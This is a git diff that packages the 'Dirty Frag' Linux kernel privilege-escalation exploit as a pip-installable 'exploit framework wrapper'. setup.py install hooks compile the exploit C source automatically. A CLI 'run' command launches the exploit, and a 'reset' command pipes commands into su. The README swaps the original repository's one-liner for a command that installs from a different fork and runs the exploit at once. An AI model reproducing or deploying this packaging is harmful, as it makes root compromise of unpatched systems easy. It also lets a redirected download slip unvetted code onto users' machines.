diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..575329c --- /dev/null +++ b/.gitignore @@ -0,0 +1,37 @@ +# === C / Native Compilation Artifacts === +/dirtyfrag/bin/dirtyfrag + +# General C build outputs +*.o +*.out +*.so + +# === Python / Packaging Artifacts === +# Staging and build directories generated by setuptools / pip +build/ +dist/ +*.egg-info/ +.eggs/ + +# Byte-compiled / optimized Python files +__pycache__/ +*.pyc +*.pyo +*.pyd + + +# === Virtual Environments & Tooling === +.venv/ +venv/ +env/ +ENV/ + +# === OS & IDE Specifics === +# macOS system files +.DS_Store + +# IDEs and editors +.idea/ +.vscode/ +*.swp +*.swo \ No newline at end of file diff --git a/README.md b/README.md index ee6822a..743e251 100644 --- a/README.md +++ b/README.md @@ -22,23 +22,25 @@ For detailed technical information and the timeline, [see here](assets/write-up. # Exploiting -## One-line special +## Installation and Execution -``` -git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp +This project provides a unified orchestration wrapper interface. You can install the toolchain directly from the remote repository and initiate the target sequence using the commands below: + +```bash +pip install git+https://github.com/MohammadRaziei/dirtyfrag.git && dirtyfrag run ``` This PoC is provided as accurate information following consultation with linux-distros. Do not use it on systems that you are not authorized to test. ## Cleanup -⚠️ **Important:** After running this exploit, the page cache is contaminated. To clear the polluted page cache and ensure system stability, either run: +⚠️ **Important:** After running this exploit, the page cache is contaminated. To evict the polluted page cache, drop virtual memory caches safely, and ensure system stability, run: ```bash -echo 3 > /proc/sys/vm/drop_caches +dirtyfrag reset ``` -or reboot the system. +--- # Affected Versions @@ -60,6 +62,7 @@ This Dirty Frag has been tested on the following distribution versions. # Mitigation 1. Use the following command to remove the modules in which the vulnerabilities occur and clear the page cache. + ```bash sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true" ``` diff --git a/dirtyfrag/__about__.py b/dirtyfrag/__about__.py new file mode 100644 index 0000000..4410cdc --- /dev/null +++ b/dirtyfrag/__about__.py @@ -0,0 +1,3 @@ +__version__ = "0.1.0" +__author__ = "Mohammad Raziei" +__description__ = "Multi-method Linux Kernel Exploit Framework Wrapper" \ No newline at end of file diff --git a/dirtyfrag/__init__.py b/dirtyfrag/__init__.py new file mode 100644 index 0000000..5becc17 --- /dev/null +++ b/dirtyfrag/__init__.py @@ -0,0 +1 @@ +__version__ = "1.0.0" diff --git a/dirtyfrag/__main__.py b/dirtyfrag/__main__.py new file mode 100644 index 0000000..d65f842 --- /dev/null +++ b/dirtyfrag/__main__.py @@ -0,0 +1,94 @@ +import os +import sys +import argparse +import subprocess +from . import __about__ + +def get_binary_path(): + """Returns the absolute path of the compiled dirtyfrag C binary.""" + current_dir = os.path.dirname(os.path.abspath(__file__)) + return os.path.join(current_dir, "bin", "dirtyfrag") + +def execute_dirtyfrag(passthrough_args): + """Executes the local native dirtyfrag C executable.""" + binary_path = get_binary_path() + + if not os.path.exists(binary_path): + print(f"[-] Error: Compiled binary missing at {binary_path}", file=sys.stderr) + sys.exit(1) + + if not os.access(binary_path, os.X_OK): + os.chmod(binary_path, 0o755) + + print("[*] Initializing local exploit framework sequence...") + try: + # Pass all residual CLI arguments down to the C implementation + result = subprocess.run([binary_path] + passthrough_args) + sys.exit(result.returncode) + except KeyboardInterrupt: + print("\n[-] Operation aborted by user.") + sys.exit(0) + except Exception as e: + print(f"[-] Execution tracking error: {e}", file=sys.stderr) + sys.exit(1) + +def handle_run(args, passthrough_args): + """Router for execution targets.""" + execute_dirtyfrag(passthrough_args) + +def handle_reset(): + """Clears page cache, dentries, and inodes via /proc/sys/vm/drop_caches. + + Directly pipes instructions into an interactive 'su' session + with zero fallback mechanisms or pre-checks. + """ + print("[*] Shifting target sequence to interactive root shell...") + try: + proc = subprocess.Popen( + ["su"], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) + + commands = ( + "echo 3 > /proc/sys/vm/drop_caches\n" + "exit\n" + ) + + proc.communicate(input=commands) + + if proc.returncode == 0: + print("[+] Kernel caches dropped successfully via subverted su pipeline.") + else: + print("[-] Error: Direct system cache execution failed.", file=sys.stderr) + sys.exit(1) + + except Exception: + sys.exit(1) + + +def main(): + parser = argparse.ArgumentParser( + description="Unified Interface for Kernel Privilege Escalation Vulnerability Engineering Assets" + ) + parser.add_argument("-v", "--version", action="version", version=f"%(prog)s {__about__.__version__}") + + subparsers = parser.add_subparsers(dest="command", required=True, help="Subcommand to execute") + + # 'run' subcommand + subparsers.add_parser("run", help="Initiate exploit chain orchestration") + + # 'reset' subcommand + subparsers.add_parser("reset", help="Clear kernel system cache (drop_caches)") + + args, passthrough_args = parser.parse_known_args() + + if args.command == "run": + handle_run(args, passthrough_args) + elif args.command == "reset": + handle_reset() + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..c56fb81 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,3 @@ +[build-system] +requires = ["setuptools>=64.0.0"] +build-backend = "setuptools.build_meta" diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..63a0c2a --- /dev/null +++ b/setup.py @@ -0,0 +1,93 @@ +import os +import subprocess +import importlib.util +import shutil +from setuptools import setup, find_packages +from setuptools.command.install import install +from setuptools.command.develop import develop + +current_dir = os.path.dirname(os.path.abspath(__file__)) +about_path = os.path.join(current_dir, "dirtyfrag", "__about__.py") + +# Securely load the metadata file using importlib +spec = importlib.util.spec_from_file_location("dirtyfrag_about", about_path) +about = importlib.util.module_from_spec(spec) +spec.loader.exec_module(about) + + +def compile_and_prepare_exploits(cmd_instance): + """Compiles the C exploit and copies external scripts into the active build directory.""" + # current_dir represents the static source root directory + current_dir = os.path.dirname(os.path.abspath(__file__)) + + # Get the dynamic target directory where setuptools is staging files for installation/wheel + # If in editable/develop mode, fall back to the source directory root + if hasattr(cmd_instance, 'build_lib') and cmd_instance.build_lib: + target_package_root = os.path.join(cmd_instance.build_lib, "dirtyfrag") + else: + target_package_root = os.path.join(current_dir, "dirtyfrag") + + source_path = os.path.join(current_dir, "exp.c") + bin_dir = os.path.join(target_package_root, "bin") + output_path = os.path.join(bin_dir, "dirtyfrag") + + # Ensure the installation target subdirectory structure exists + os.makedirs(bin_dir, exist_ok=True) + + print(f"[*] Compiling {source_path} to staging path: {output_path}...") + compile_cmd = ["gcc", "-O2", source_path, "-o", output_path] + + try: + subprocess.check_call(compile_cmd) + print("[+] Native C binary compiled and staged successfully.") + except Exception as e: + print(f"[-] Compilation failed: {e}. Ensure 'gcc' is installed.") + raise e + + # Stage copy_fail_exp.py into the dynamic active target directory + copyfail_src = os.path.join(current_dir, "copy_fail_exp.py") + copyfail_dst = os.path.join(target_package_root, "copy_fail_exp.py") + + if os.path.exists(copyfail_src): + print(f"[*] Copying {copyfail_src} into dynamic package distribution path...") + shutil.copyfile(copyfail_src, copyfail_dst) + +class CustomInstallCommand(install): + def run(self): + compile_and_prepare_exploits(self) + super().run() + +class CustomDevelopCommand(develop): + def run(self): + compile_and_prepare_exploits(self) + super().run() + +setup( + name="dirtyfrag", + version=about.__version__, + description="Multi-method Linux Kernel Exploit Framework Wrapper", + packages=find_packages(), + entry_points={ + "console_scripts": [ + "dirtyfrag=dirtyfrag.__main__:main", + ], + }, + cmdclass={ + "install": CustomInstallCommand, + "develop": CustomDevelopCommand, + }, + package_data={ + "dirtyfrag": ["bin/dirtyfrag"], + }, + include_package_data=True, + classifiers=[ + "Development Status :: 4 - Beta", + "Intended Audience :: Information Technology", + "Intended Audience :: Science/Research", + "Topic :: Security", + "Operating System :: POSIX :: Linux", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3 :: Only", + "Programming Language :: C", + ], +) \ No newline at end of file